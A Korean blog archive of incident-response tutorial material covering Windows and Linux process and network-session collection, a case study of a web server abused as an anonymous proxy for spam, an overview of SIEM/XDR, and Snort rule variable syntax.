글쓴이 보관물: bigrootno1@gmail.com

프로세스 정보 수집

침해사고 분석 시 시스템에 동작 중인 프로세스를 확인하는 과정이다. 침해사고에서 발견되는 공통점 중 하나가 악성코드다. 이 악성코드는 별도로 실행되기도 하지만 많은 수의 악성코드가 시스템에 구동중인 기존 프로세스를 감염시킨다. 시스템에서 구동중인 프로세스가 정상인지 비정상인지를 판단해야 한다. 점검 방법은 운영체제에서 제공하는 기본적인 프로세스에 대한 정보를 활용할 수도 있고, 백신프로그램을 이용해 검사를 해볼 수도 있다.

감염된 프로세스에서 사용중인 파일을 찾는 작업이 쉽지는 않다. 프로세스에서 사용하고 있는 파일들이 생각보가 많을 것이다. 프로세스에서 참조하는 많은 파일들이 정상 파일인지 확인해야 하고, 감염된 프로세스가 외부로 통신을 하고 있으면 통신목적을 확인해야 한다. 프로세스를 뜯어보기 위해 어떤 과정이 필요하고, 어떤 툴을 사용하는지 방법을 소개하고자 한다. 물론 책에서 소개한 방법이나 프로그램 외에도 많은 방법이 있다. 자신의 스타일에 맞는 방법이나 프로그램을 이용할 것을 추천 한다.

악성코드에 감염된 시스템에서 채증 또는 확보한 파일은 분석 전용 시스템으로 이동해 분석하자.

  • 프로세스 정보 수집

침해사고 분석 시 프로세스 정보를 수집하기 전에 전반적인 시스템 정보를 다시 한번 확인한다. PSINFO 프로그램을 이용해 시스템 기본 정보를 확인한다.

기본 정보를 확인하는 목적은 단순한 정보에 침해의 중요한 실마리가 되는 정보들이 숨어 있기 때문이다. 예를 들어 업타임(Uptime) 정보는 시스템이 기동된지 얼마의 시간이 지났는지 정보를 제공 한다. 일부 악성코드의 경우 시스템에서 프로세스를 감염시키는 과정에서 얘상치못한 프로세스 또는 시스템 오류를 발생시키곤 한다. 이때 장비가 재부팅되기도 한다.

최초 악성코드 감염은 시스템이 기동되고 운영중인 상태에서 발생한다. 이 경우 다른 프로세스들과 기동 시간을 비교해보면 중간에 시작된 프로세스들이 생기는되 이러한 프로세스를 먼저 살펴볼 필요가 있다.

업타임 정보외에도 응용프로그램들의 버전 정보나 운영체제의 버전 정보도 확인할 필요가 있다. 기본에서 시작하면 복잡한 침해사고도 의외로 쉽게 풀린다.

리눅스에서는 ‘uptime’ 명령을 실행해서 윈도우에서와 동일한 정보를 수집 할 수 있다. 다음은 ‘uptime’ 명령을 실행한 예제이다.

$uptime  23:07:57 up 6 days,  6:54,  1 user,  load average: 0.00, 0.00, 0.00

이제 본격적으로 프로세스 리스트를 확인해 보자. PSLIST 툴을 이용해 점검 대상 시스템에 구동 중인 프로세스 리스트를 수집하자. PSLIST 툴은 각 프로세스의 PID, Elapsed Time(프로세스가 시작되어 현재까지 경과된 시간), CPU Time(CPU 사용 시간) 정보등을 확인할 수 있다. 다음은 툴을 실행시켰을 때 보여지는 각각의 항목에 대한 설명이니 참고하자.

항목설명
Pri우선순위
Thd쓰레드수
Hnd핸들수
VM가상메모리
WS워킹셋
PrivPrivate 가상메모리
Priv PkPrivate 가상메모리 최대치
FaultsPage Faults
NonPNon-Paged 풀
PagePaged 풀
CswtchContext Switches
표 PSLIST 점검 항목

Elapsed Time은 해당 프로세스가 시작된 시점에 따라 차이가 발생된다. 일반적으로 주요 프로세스는 윈도우 시작 시 구동되기 때문에 윈도우 시작 시간과 거의 동일하다. 운영체제 업타임과 비교해서 시작 시 실행된 프로세스와 운영체제 구동 후 중간에 실행된 프로세스 정보 할 수 있다. 프로세스 PID의 경우도 시스템 시작 후 시간이 지날수록 실행되는 프로세스의 PID번호가 높아진다.

그림 PSLIST 실행

악성코드에 의해 생성된 프로세스 또는 감염된 프로세스 확인을 위해서는 프로세스에 대한 정보를 알고 있어야 한다. 하지만 프로세스는 구동 중인 환경에 따라 사용되는 종류도 다양하고, 특정 시스템에만 존재하는 프로세스도 있기 때문에 모든 프로세스에 대한 정보를 알고 있기는 힘든 것이 사실이다.

윈도우의 경우 다 음표와 같이 사이트를 통해 기본적인 프로세스에 대한 정보를 제공한다. 프로세스 점검 시 활용하면 도움이 될 것이다. 표는 윈도우를 기준으로 한 기본 프로세스에 대한 정보이다.

프로세스 이름설명
Csrss.exe (작업관리자에서 종료 불가)Win32.sys가 Win32 subsystem의 커널모드 부분인데 비해서 Csrss.exe는 사용자모드 부분이다. Csrss는 Client/Server Run-time SubSystem의 약자로 항상 돌고 있어야 하는 필수 subsystem 중 하나이다. 콘솔 창, 쓰레드 생성 및 제거 및 16비드 가상 도스 환경의 일부를 관리한다.
Explorer.exe (작업관리자에서 종료 가능)작업관리줄, 바탕화면 등과 같은 사용자 셸로서 Windows의 작동에 있어 필수적인 요소가 아니며 시스템에서 아무런 부작용 없이 작업관리자에서 종료 및 재시작이 가능하다.
Internat.exe (작업관리자에서 종료 가능)시스템 시작과 함께 구동되는 프로세스로 사용자가 지정한 여러가지 입력 로케일 (HKEY_USERS.DEFAULTKeyboard LayoutPreload키에서 뽑아낸다)을 구동한다. 시스템 트레이에 “EN” 아이콘을 띄움으로써 사용자가 입력로케일간에 변환을 손쉽게 할 수 있도록 한다. 작업관리자를 통해 이 프로세스를 종료하면 “EN” 아이콘도 disable되는 것처럼 보이지만 제어판을 통해 입력로케일간의 변환이 가능하다.
Lsass.exe(작업관리자에서 종료 불가)로컬 보안 인증 서버로서 Winlogon 서비스가 사용자를 인증하는데 필요한 프로세스를 만들어 내고 이 프로세스는 Msgina.dll과 같은 인증 패키지를 이용함으로써 수행된다. 인증이 성공하면 Lsass는 해당 사용자의 Access Token을 생성하고 이를 이용해 초기 셸이 구동된다. 동 사용자가 초기화하는 다른 프로세스들은 이 Access Token의 지위/속성을 승계한다.
Mstask.exe (작업관리자에서 종료 불가)사용자가 미리 지정한 시간에 작업을 실행시키는 Task Scheduler Service
Smss.exe (작업관리자에서 종료 불가)사용자 세션을 시작시키는 세션 관리자 subsystem으로서 시스템 쓰레드에 의해 초기화되며 Winlogon 및 Win32 (Csrss.exe) 프로세스를 구동하고 시스템 변수를 설정하는 등의 다양한 활동을 담당한다. 이들 프로세스를 구동시킨 다음 Winlogon이나 Csrss가 종료할 때까지 대기하되, 종료가 정상적으로 이루어지는 경우엔 시스템이 종료하고 그렇지 않은 경우엔 시스템을 반응없음(Hang)상태로 만든다.
Spoolsrv.exe (작업관리자에서 종료 불가)스풀된 프린트/팩스 작업을 책임지는 spooler service
Svchost.exe (작업관리자에서 종료 불가)DLL로부터 구동되는 다른 프로세스들에 대한 호스트로서 작동하는 generic process이기 때문에 2개 이상이 생길 수도 있다. Svchost.exe를 이용하는 프로세스들의 명세를 확인하려면 윈2000 CD에 있는 Tlist.exe를 이용하면 되고 구문은 명령 프롬프트에서 tlist -s 이다.
Services.exe (작업관리자에서 종료 불가)시스템 서비스들을 시작/종료/상호작용하는 역할을 담당하는 Service Control Manager
System (작업관리자에서 종료 불가)대부분의 시스템 커널모드 쓰레드들이 System 프로세스로서 실행된다.
System Idle Process (작업관리자에서 종료 불가)각각의 프로세서(CPU)에서 돌고 있는 단일 쓰레드로서 시스템이 다른 쓰레드들을 프로세싱하지 않을 때 프로세서 타임을 관리하는 역할을 수행한다. 작업관리자에서 이 프로세스가 프로세서 타임의 대부분을 차지해야 시스템이 빠른 속도를 낼 수 있다.
Taskmgr.exe(작업관리자에서 종료 가능)작업관리자를 위한 프로세스
Winlogon.exe(작업관리자에서 종료 불가)사용자 로그온 및 로그오프를 관리하는 프로세스로서 사용자가 Ctrl+Alt+Del를 눌러서 보안 대화상자를 띄울 때만 활성화된다.  
Winmgmt.exe(작업관리자에서 종료 불가)윈2000에서 클라이언트 관리의 핵심 구성요소로서 클라이언트 응용프로그램이 처음 연결될 경우 또는 관리 응용프로그램이 서비스를 요청할 때 초기화된다. 작업관리자에서 종료할 수 없는 프로세스들의 대부분은 Resource Kit 유틸인 Kill.exe를 이용하여 종료가 가능하지만 system failure나 기타 다른 부작용을 야기할 수 있다.
표 기본 프로세스 정보

한가지 분석 팁은 점검 대상과 동일한 버전의 깨끗한 상태의 운영체제를 설치해 프로세스 리스트를 점검 대상 시스템과 비교하는 방법이 있다. 설치하기가 어렵다면 기존의 설치된 시스템을 활용할 수도 있다.

프로세스 리스트를 좀더 유기적으로 분석하기 위해서는 앞서 PSLIST실행 결과를 의존관계에 따라 확인하는 방법이 있다. 방법은 PSLIST 실행 시 옵션 선택을 통해 가능하다. –t 옵션을 이용하면 단순 리스트업이 아닌 자식과 부모 프로세스로 구분해 트리형태로 표시한다. 악성코드가 어떤 프로세스를 만들었고, 악성코드에 의해 생성된 하위 프로세스를 확인 할 수 있다. 다음이 실제 확인해본 결과다.

그림 PSLIST 실행 옵션

필요에 따라 PSLIST에서 제공하는 옵션을 확인해 적절히 사용하면 프로세스 정보 분석에 도움이 된다. 윈도우의 경우에 프로세스 분석 시 GUI형태로 제공되는 툴도 있다. PSLIST를 통해 확인이 어려운 부분은 추가로 툴을 이용해 분석 시 활용한다.

윈도우에서 “pslist –t”를 이용해 확인한 결과와 동일한 결과를 리눅스에서 ‘pstree’ 명령을 통해 얻을 수 있다. PS명령의 옵션을 이용하여 확인도 가능 하다. (ps –ejH, ps axjf)

‘pstree’ 명령을 이용해 히든프로세스 정보까지 확인 가능하다. 명령 실행 시 h옵션을 이용해 확인한다. 다음은 히든프로세스를 확인한 결과 화면 이다. 동일한 시스템에서 명령을 실행 시켰지만 옵션에 따라 결과를 다르게 나타난다. 그림의 왼쪽은 pstree 명령을 실행 시킨 결과이고 오른쪽은 ‘-h’ 옵션을 사용한 결과다. 동일한 bash 프로세스도 보여지는 결과가 다른다.

그림 pstree 실행 비교

w명령은 현재 로그인한 정보와 함께 사용자별 실행 중인 프로세스 정보까지 확인이 가능 하다.

다음은 w명령이 표시하는 목록에 대한 설명 이다

항목설명
User로그인한 사용자 이름
TTYteletype – TTY는 타자기 형태의 키보드와 부착형 프린터 등을 갖춘 장치를 의미, tty값이 0또는 양수인 경우 콘솔을 통해 로그을한 것을 의미, tty항목이 pts로 표기 또는 ttyp#일 경우 네트워크를 통한 로그온이다.
From네트워크를 통한 연결일 경우 원격지 IP주소, 콘솔을 통한 로그인일 경우는 표기하지 않음
Login@최종 로그인 시간 표기
Idle마지막으로 행위 후 활동을 얼마나 멈추고 있는지 나타낸다. 예를 들어 “w”명령을 입력한 후 5초 동안 아무런 입력이나 출력을 하지 않았다면 해당 시간이 5초로 표기된다. 2:14pm  5.00s  0.00s  0.00s  -bash
JCPUTTY항목에 나열된 각각의 로그인(네트워크 또는 콘솔)에서 사용한 CPU사용 시간 합이다. 지나간 백그라운드 잡은 포함하지 않고, 현재 걸려있는 백그라운드 잡은 합산 시간에 포함된다.
PCPU“what” 필드에 프로세스가 사용한 CPU시간
What유저가 최근 사용한 명령과 관련된 프로세스
표 ‘w’ 명령 세부 항목

휘발성 네트워크 세션 정보 수집

해커에 의해 시스템을 공격 받게 되면 그 흔적이 남게 된다. 운영체제와 네트워크 트래픽에 남아 있는 공격자의 흔적이 무엇인지 살펴 보자. 공격 흔적을 찾기 위해서 특정 툴이나, 내장 명령, 스크립트 등을 이용해 시스템에서 정보를 추출 할 것이다. 정보 추출을 위해 필요한 옵션과 분석 시 도움되는 정보들을 살펴보자.

운영체제 메모리에 올라와 있는 정보나 네트워크 통신 정보들은 시간이 지나면 사라지는 정보다. 휘발성 정보가 무엇이고, 어떤 흔적이 남아 있는지 살펴보자.

  • 세션 정보 수집

시스템에 남아 있는 정보 중 네트워크 통신 정보는 연결이 종료되면 사라진다. 키로깅 프로그램이나 백도어 프로그램은 피해 시스템에서 수집한 정보를 전송 하기 위해 외부와 통신을 해야 한다. 외부와 통신하기 위해 피해 시스템에 설치된 악의적인 프로그램은 프로세스를 생성한다. 백도어가 사용하는 프로세스를 확인하면 사용되는 파일과 통신 대상 정보를 알아 낼 수 있다.

정보를 수집할 때는 시스템의 내장 명령이 조작되었을 가능성이 있기 때문에 점검에 사용할 실행 프로그램을 따로 준비하는 게 좋다.

시스템간에 연결된 통신을 세션이라고 부른다. 이 세션 정보를 수집하기 위해 ‘netstat.exe’ 명령을 이용한다. 명령 옵션은 다음과 같다.

-a: 모든 연결 및 수신 대기 포트를 표시합니다.
-o: 각 연결의 소유자 프로세스 ID를 표시합니다.
-n 주소 및 포트 번호를 숫자 형식으로 표시합니다.

‘ao’ 옵션과 함께 명령을 실행 시키면 다음과 같은 결과 화면이 출력 된다. 현재 시스템에서 연결된 모든 세션 정보가 화면에 출력된다.

그림 세션별 PID

확인된 전체 세션 목록을 점검하여 비정상 세션이나 사용하지 않는 세션을 추출하고, 해당되는 PID(프로세스ID)를 통해 의심되는 프로세스를 점검한다. 이 경우 순간적으로 통신을 맺고 바로 세션을 끊는 경우 확인이 어려울 수 있다.

일부 악성코드는 히든프로세스로 시스템에서 대기 하고 있다 일정 주기나 특정 조건에 의해 세션을 연결하여 통신을 시도하고, 통신이 완료되면 세션을 종료한다.

일회성으로 연결을 맺고 금방 사라지는 세션을 점검하기 위해 실시간 모니터링 프로그램을 이용한다. 실시간 프로세스 모니터링은 TCPVIew , Seem(구Ekinx)  프로그램을 이용하여 확인 할 수 있다. 자동스크립트를 이용해 주기적으로 세션 정보를 저장해 일괄 확인하는 방법도 가능하다.

GUI 기반의 모티터링 프로그램을 실행시키면 다음 그림처럼 현재 시스템에 형성된 세션 정보를 출력한다. 세션 정보는 1초마다 자동 업데이트 된다. 업데이트 주기는 사용자가 메뉴에서 변경 할 수 있다.

그림 실시간 프로세스 모니터툴

실시간 모니터링 프로그램을 이용하면 외부로 연결을 시도하거나 내부로 연결을 시도하는 IP 정보를 확인하여 연관된 프로세스를 추출 할 수 있다. 윈도우처럼 리눅스도 동일하게 확인 가능하다. 필요에 따라 옵션항목을 조절해 사용 할 수 있다.

리눅스 분석 시 유용한 프로그램을 추천한다. LSOF[1]라는 오픈 소스 프로그램이다.

프로그램을 실행 시키면 현재 프로세스들에 의해 열려진 세션과 사용 중인 파일을 확인 할 수 있다. 다음은 그림은 프로그램을 실행한 화면이다.


[1] https://ko.wikipedia.org/wiki/Lsof

그림 리눅스 프로세스별 세션

생성된 세션이 비정상이거나 시스템과 관련이 없을 경우 해당 프로세스에 대해 좀더 자세히 점검하고, 실제로 프로세스가 사용중인 파일에 대해 점검한다. 다음으로 세션을 유발 시킨 실행 파일을 확인하는 방법을 살펴보자.

  • 세션별 실행파일

윈도우 실행파일 별로 PID번호와 현재 연결 상태, Local&Remote IP, Port정보를 점검 한다. 프로세스정보와 함께 분석한다. 악성 코드에 의한 연결 인지 정상 통신인지 확인한다. 점검은 윈도우 내장 명령이 아닌 별도의 무료 프로그램을 이용해 점검 할 수 있다.

tcpvcon을 다운받아 윈도우 명령 창에서 다음과 같이 실행 한다.

tcpvcon -n /accepteula

프로그램을 실행시키면 아래처럼 실행 파일별 PID정보와 연결 상태 및 상세 정보를 확인 할 수 있다.

[TCP] jqs.exe
        PID:    2508
        State:  CLOSE_WAIT
        Local:  127.0.0.1:5152
        Remote: 127.0.0.1:1188

세션 정보를 수집하는 방법을 살펴 봤다. 이번에는 여러분이 수집한 통신 연결 정보와 상세 실행 파일 정보를 활용하는 방법을 살펴 보자.

침해사고 분석에 어떻게 활용될 수 있는지 다음 사례를 같이 살펴 보자.

  • 사례 분석

스팸 메일이 유포되었던 시스템을 분석했던 사례다.

침해가 발생한 시스템에서 특정 수신인을 대상으로 스팸 메일이 발송 되었다. 침해사고가 발생한 시스템이 중간 경유 시스템으로 이용되었는지 여부에 대한 분석을 진행 했다.

점검 대상 시스템은 윈도우 운영체제가 사용되고 있었다. 네트워크 방화벽에서 웹 서비스를 제외한 원격 접근은 불가능 하였다. 서비스 확인 시 웹 서비스 외 추가 서비스는 구동하지 않았다.

스팸 메일이 발송된 원인을 조사하기 위해 침입탐지시스템(Intrusion Detection System) 탐지 로그를 확인 하던 중 의심스런 통신 내역이 확인 되었다. 사용하지 않는 암호화 통신(SSL, Secure Sockets Layer)통신이 발생된 것이 확인 되었다. 상세 분석 시 점검 대상 시스템을 통해 해외 웹 메일 사이트에 접근 내역이 확인 됐다. HTTPS 통신을 통해 외부 웹 메일 서비스를 이용하였다.

프록시 설정이 의심되었고, 점검 결과 스팸 메일이 발송된 시스템을 거쳐 웹 메일 사이트에 접속하였고, 웹 서비스에서는 스팸 발송자를 해당 IP로 지목했던 것이다.

익명 웹 프록시 설정이 활성화 돼있을 경우 해당 시스템을 통해 타 사이트로 접근이 가능하게 되고, 이 경우 아래와 같은 구조로 중간(B Server)에서 중계 역할을 한다.

공격자 -> 중간 경유 서버(프록시서버) -> 웹 사이트

분석한 시스템은 중간 경우 서버에 해당 된다. 웹 사이트에는 공격자 IP가 아니라 중간 경유 서버 정보가 남는다. 참고로 익명 프록시 설정이 열리게 되면 해당 정보는 익명 프록시 서버 목록에 올라간다. 이 정보는 관리자가 의도하지 않은 피해를 유발할게 될 수 있다.

그림 익명 프록시 허용 서버 목록

스팸 발송 IP로 의심된 서버는 익명 프록시 허용으로 피해가 발생한 것이다. 자 그럼 프록시 서버로 이용된 사실을 어떻게 확인했는지 살펴 보자.

점검항목분석 결과
세션 정보다수의 웹 서비스 세션이 확인80번 출발지 포트 아웃바운드 연결불특정 다수 사용자가 경유를 통해 타 사이트로 접근
취약 경로 분석익명 프록시 접근 허용
로그점검제공하지 않는 서비스 로그 확인경유로 인한 외부 서비스 URL 제공 로그
표 점검 요약

세션 분석 결과 다수의 아웃바운드 통신이 확인 됐다. 다수의 FIN_WAIT_2 상태가 확인 됐다.

TCP    192.168.0.1:80      95.XXX.XXX.12:13502     FIN_WAIT_2
TCP    192.168.0.1:80      95.XXX.XXX.12:13506     FIN_WAIT_2
TCP    192.168.0.1:80      95.XXX.XXX.12:13512     FIN_WAIT_2
TCP    192.168.0.1:80      95.XXX.XXX.12:13534     FIN_WAIT_2
TCP    192.168.0.1:80      95.XXX.XXX.12:13541     FIN_WAIT_2
<중략>

FIN_WAIT_2 상태는 통신을 종료하는 과정에서 FIN 패킷을 전송하고 상대방에서 ACK를 수신하지 못해 기다리고 있는 상태를 의미 한다. 다음 그림에서 FIN을 보내고 두 번째 단계로 ACK와 FIN요청을 받아야 되는데 ACK 응답이 오지 않아 기다리고 있는 상태가 FIN_WAIT_2다.

일반적으로 웹 서버는 클라이언트에서 FIN 요청을 보내면 ACK 응답을 보낸다.

하지만 이 경우 웹 서버가 마치 클라이언트처럼 웹 서버에 FIN 요청을 보내고 또 다른 웹 서버의 응답을 기다리고 있었다(FIN_WAIT_2). 통신을 주고 받는 주체가 반대로 보였다. 이 정보를 기반으로 프록시 설정을 의심했다.

이후 확인한 웹 로그에도 시스템에 없는 웹 서비스 경로가 남아 있었다.

127.0.0.1 – – [00/XXX/2010:00:00:00 +0900] “GET http://XXX.XXX.XXX.XXX/ HTTP/1.0” 200 220 127.0.0.1 – – [00/XXX/2010:00:00:00 +0900] “GET http://XXX.XXX.XXX.XXX/ HTTP/1.0” 200 220

웹 로그 분석을 통해 메일 관련 사이트와 IRC 사이트 접속 내역이 확인 되었고, 피해 원인이 웹 프록시에 의한 타 사이트 접근으로 분석 되었고, 최초 원인이 되었던 메일 유포는 프록시 설정을 통해 외부 메일 사이트에 접속하여 발송한 것으로 분석 되었다.

  • 세션테이블리스트

시스템의 세션 정보를 확인 한다. 확인은 윈도우에서 제공하는 명령을 이용하여 진행하기로 하자.

D:\>nbtstat –S -S   (Sessions)       Lists sessions table with the destination IP addresses

NBT명령을 이용하면 현재 연결된 넷바이오스 연결 정보를 확인할 수 있다. 윈도우 명령 창에서 명령을 실행 시키고 각각의 인터페이스에 연결된 상태 정보를 점검 한다.

다음에 그림은 특정 인터페이스(로컬 영역 연결)에 연결정보가 남아 있을 때의 결과다. 현재 연결 상태와 방향성, 원격 호스트 정보 등을 확인할 수 있다.

그림 nbtstat 명령 실행

정보 보안 통합 솔루션

실시간 보안 위협을 탐지 하기 위해 다양한 보안 솔루션을 활용 한다. 네트워크 기반의 보안 솔루션에서 부터 엔드포인트, 클라우드 기반의 다양한 보안 솔루션을 통해 보안 위협을 탐지하고 차단한다. 다양한 보안 로그 및 시스템 로그를 분석하기 위해 통합 보안 솔루션, SIEM 플랫폼을 활용한다.

XDR 플랫폼은 다양한 로그 수집을 통해 위협을 분석 한다. 실시간 로그 수집을 통해서 보안 위협을 실시간으로 탐지한다.

<그림> XDR 아키텍처 이해

정보보안 및 통합보안 관점에서 SIEM (Security Information and Event Management) 솔루션은 조직의 보안 체계를 효율적으로 관리하고 강화하기 위한 핵심 시스템이다. SIEM 솔루션의 개념과 역할, 주요 기능, 보안 관점에서의 중요성 등을 살펴보자.

여기서부터 ChatGPT 참조 정보보안 및 통합보안 관점에서 SIEM 솔루션에 대한 역할

로그 수집(Log Collection)

  • 다양한 시스템(방화벽, IDS/IPS, 서버, DB 등)에서 생성된 로그를 실시간 또는 배치 방식으로 수집.
  • 정형/비정형 로그를 수집하고 일관된 포맷으로 표준화.

이벤트 상관 분석(Correlation Analysis)

  • 서로 다른 로그/이벤트 간의 관계를 분석하여 의심스러운 보안 이벤트를 식별.
  • 예: 동일한 IP에서 5분간 여러 시스템에 로그인 실패 → 무차별 공격 가능성.

실시간 경고(Alerting) 대응

  • 사전에 정의된 룰이나 머신러닝 기반 이상행위 탐지를 통해 즉각적인 알림 대응조치 가능.

대시보드 시각화

  • 보안 상태를 실시간으로 가시화하여 운영자에게 인사이트 제공.
  • 위협 인텔리전스, 트렌드 분석 등을 직관적으로 확인 가능.

컴플라이언스 보고(Compliance & Reporting)

  • ISO 27001, GDPR, HIPAA, PCI-DSS 등의 규제 준수를 위한 감사 로그, 리포트 자동 생성.

위협 인텔리전스 연계

  • 외부의 위협 정보(악성 IP, 도메인 등)와 연동하여 분석 정밀도 향상.

SIEM (Security Information and Event Management)은 보안 정보(Security Information)와 보안 이벤트(Security Event)를 수집, 분석, 저장, 모니터링, 대응하는 통합 보안 플랫폼 이다. 주로 로그 수집, 이벤트 상관분석, 이상 행위 탐지, 실시간 경고, 컴플라이언스 지원 등을 통해 보안 가시성과 대응력을 높인다. 정보보안 통합 솔루션 관점에서 주요 활용 영역은 다음과 같다.

항목설명
위협 탐지침해사고(APT, 내부자 위협 등)를 조기에 탐지 가능
포렌식 지원사고 발생 시 원인 분석 및 시간대별 로그 추적에 활용
자동화된 대응SOAR 등과 연계해 탐지 → 분석 → 차단까지 자동화 가능
보안 거버넌스 강화전사 보안 상태를 통합 관제하며 정책 준수 여부 확인 가능
위험 기반 접근자산, 취약점, 위협의 교차 분석을 통해 위험 우선순위 설정
표 SIEM의 보안 관점 중요성

다양한 보안 이벤트 분석에 따른 한계도 명확하다.

한계설명보완 방향
오탐/과탐이벤트 상관 분석의 정확도가 낮으면 과도한 알림 발생머신러닝 기반 분석 기능 강화
운영 복잡성룰 설정 및 유지보수에 많은 자원 소모자동화된 룰 추천, 사용자 기반 정책 도입
저장 공간방대한 로그 저장 시 스토리지 비용 증가클라우드 기반 SIEM으로 전환 고려
위협 탐지 한계알려지지 않은 공격(제로데이) 탐지 어려움UEBA, AI 기반 보안 기능 연동
표 SIEM의 한계점 및 보완

여기까지 ChatGPT 참조

Snort(NDR) 솔루션 소개 및 탐지 엔지 구조 설명(헤더/바디)

스노트 는 오픈 소스 기반의 네트워크 침입탐지/차단시스템 이다. 현재 필드에서 사용중인 대부분의 침입탐지/차단시스템의 엔진이 스노트를 기반으로 만들어져 있다.

Snort® is an open source network intrusion prevention and detection system (IDS/IPS) developed by Sourcefire. Combining the benefits of signature, protocol and anomaly-based inspection, Snort is the most widely deployed IDS/IPS technology worldwide. With millions of downloads and approximately 300,000 registered users, Snort has become the de facto standard for IPS.

스노트 공식 홈페이지에서 rule파일을 배포하는데 배포하는 룰 파일은 2가지 종류가 있다. 첫번째 모든 사용자가 사용할 수 있는 Community Ruleset이 있고, 유료 회원에게 제공되는 Sourcefire VRT Certified Rulesets이 있다. 유료 사용자에게 제공되는 룰 셋에 최신버전이 포함되어 있다.

https://www.snort.org/products

라이센스타입가격
개인용$29.99 each
기업용$399 per sensor
  • The same Snort ruleset developed for our NGIPS customers, immediately upon release – 30 days faster than registered users
  • Priority response for false positives and rules
  • Snort Subscribers are encouraged to send false positives/negatives reports directly to Talos
  • For use in businesses, non-profit organizations, colleges and universities, government agencies, consultancies, etc. where Snort sensors are in use in a production or lab environment. This subscription type does not include license to redistribute the Snort Subscriber Rule Set except as described in section 2.1 of the Snort Subscriber Rule Set License.

스노트 엔진 구조에 대해 살펴 보자. 스노트 엔진의 구조 분석을 통해 침입탐지시스템 구조를 이해할 수 있다. 공개용 침입탐지 시스템인 스노트의 탐지 매커니즘이 실제로 적용되는 것을 살펴 보고, 설정 및 시그니처에 대해 알아보자. 실제로 많은 수의 상업용 침입탐지/차단 시스템이 스노트 엔진을 사용하고 있기 때문에 실제 상업용 제품과 스노트 엔진 구조가 매우 유사하다고 생각하면 된다.

​스노트의 구성은 크게 전처리기와 탐지엔진으로 구성된다. 전처리기는 스노트의 분석엔진에서 처리하기 전에 패킷에 대해 사전 검수를 진행 하는 역할을 한다. 전처리기의 종류는 프로토콜에 따라 다양하다.

​탐지엔진은 시그니처를 기반으로 패턴 매치를 하는 방식으로 스노트 엔진 구동 시 관련 시그니처를 엔진에 올려 패킷을 분석한다. 시그니처로 사용되는 룰 파일은 제공되는 룰 파일을 사용할 수 있고, 사용자에 의해 직접 제작도 가능하다.

​스노트 전처리기는 사용자에 의해 커스트마이징이 가능하고, 시그니처로 사용되는 룰파일 역시 커스트마이징 이나 직접 제작이 가능하다. 뒤 쪽에서 실제로 시그니처를 제작해보자. 먼저 시그니처 제작에 앞서 시그니처 작성 시 사용되는 변수 설정에 대해 살펴보고, 전처리기에 대해서도 살펴본 스노트 엔진의 설정과 관련된 내용은 Snort.conf 파일을 이용해 설정이 가능하다. 다음은 snort.conf 파일 일부다.

This file contains a sample snort configuration.
You can take the following steps to create your own custom configuration:
#
1) Set the variables for your network
2) Configure preprocessors
3) Configure output plugins
4) Add any runtime config directives
5) Customize your rule set

먼저 스노트 엔진에서 변수를 선언하는 방법을 살펴 보자.

 변수(Variables)

변수는 3가지 종류의 변수 선언이 가능 하다. 일반적인 변수 선언에 사용되는 var, 포트 설정 시 사용하는 portvar, IPv6관련 설정 시 사용하는 ipvar 3가지가 있다.

var HOME_NET 10.1.1.0/24
var RULE_PATH ../rules
(윈도우 시스템의 경우 절대 경로를 이용해야 합니다. ex c:\snort\rules)
단, var를 이용해 포트 변수를 선언할 때는 일반적으로 앞이나 뒤에 “PORT” 구문을 넣는다.
var HTTP_PORT [80], var PORT_HTTP [80]
var HTTP_PORT [80,8080]
var RESERVED_PORT [1:1024]
var MY_PORT [80,8080,1:1024] or var MY_PORT [80,8080,!1:1024]
portvar MY_PORTS [22,80,1024:1050]
ipvar MY_NET [192.168.1.0/24,10.1.1.0/24]
Ipvar 변수의 경우 IPv6가 지원되는 경우에만 사용하고 지원되지 않을 경우 var사용
alert tcp any any -> $MY_NET $MY_PORTS (flags:S; msg:”SYN packet”;)

참고로 변수 선언은 상수를 이용해 정적으로 선언할 수 있고, 변수를 이용해 동적으로 사용할 수 있다. 다음 예제를 보자.

정적선언

var <desired_variable_name> <variable_value>

동적선언

var <desired_variable_name> $<variable:static_default_address>

var <desired_variable_name> $<variable:?Error: the variable was undefined>

정적선언은 변수에 상수값을 선언해 사용하고, 동적 선언은 고정된 값을 사용하지 않고, 유동적인 값을 이용한다.

IP리스트 조합에서 부정의 의미인 “!”(NOT) 기호를 사용 시 스노트 버전에 따라 해석에 차이가 있다. 2.7.X 이전 버전에서는 IP리스트 조합에서 각각의 객체는 OR 관계를 형성한다. 하지만 이후의 버전에서 해석되는 방식은 IP리스트 간에 “!”(NOT)이 포함되지 않을 경우에는 OR 관계를 형성하지만 “!”포함하는 객체는 OR 객체들과 AND관계를 형성한다. 예제를 살펴 보자.

var HOME_NET [10.1.1.0/24,192.168.1.0/24,!192.168.1.255]

위와 같이 선언되었을 때 HOME_NET 변수에 포함되는 IP리스트는 10.1.1.0/24 또는 192.168.1.0/24 이지만 192.168.1.255(브로드캐스트 IP) IP는 제외한다.

즉 ((10.1.1.0/24 or 192.168.1.0/24) and !192.168.1.255))로 해석된다. 참고로 IP변수에 “!any”와 같이 선언은 불가능하다.

IP리스트와 IP변수를 사용할 때 오류가 발생하지 않도록 주의해야 한다. 다음 예제는 변수 사용 시 발생할 수 있는 선언 오류다. 참고로 선언 오류가 포함된 변수를 이용해 시그니처를 제작하여 엔진 구동 시 시그니처를 사용하면 엔진에서 오류를 파악해 엔진에 올리는 것을 중지한다. 그리고 오류가 발생된 시그니처에 대해 데몬 실행 로그로 기록한다. 나중에 직접 시그니처를 제작할 때 오류가 발생되는 항목을 확인하는 방법으로 사용할 것이다.

정상 선언
ipvar EXAMPLE [1.1.1.1,2.2.2.0/24,![2.2.2.2,2.2.2.3]]
alert tcp $EXAMPLE any -> any any (msg:”Example”; sid:1;)
alert tcp [1.0.0.0/8,!1.1.1.0/24] any -> any any (msg:”Example”;sid:2;)

!any 오류
ipvar EXAMPLE any
alert tcp !$EXAMPLE any -> any any (msg:”Example”;sid:3;)

논리 오류: 선언한 IP를 부정하여 선언할 수 없다.
ipvar EXAMPLE [1.1.1.1,!1.1.1.1]

범위 오류: CIDR로 선언한 IP의 범위보다 더큰 범위로 !조건을 선언 할 수 없다.
ipvar EXAMPLE [1.1.1.0/24,!1.1.0.0/16]

IP를 변수로 사용할 때와 마찬가지로 포트를 변수로 선언하는 방법도 3가지 방식이 있다.

단일 포트 선언: 80
포트 범위 지정: 1:1024
조합: [80,21:23]

선언 가능한 포트 범위는 0부터 65535 이다. IP변수와 마찬가지로 !any 사용은 불가능하다.

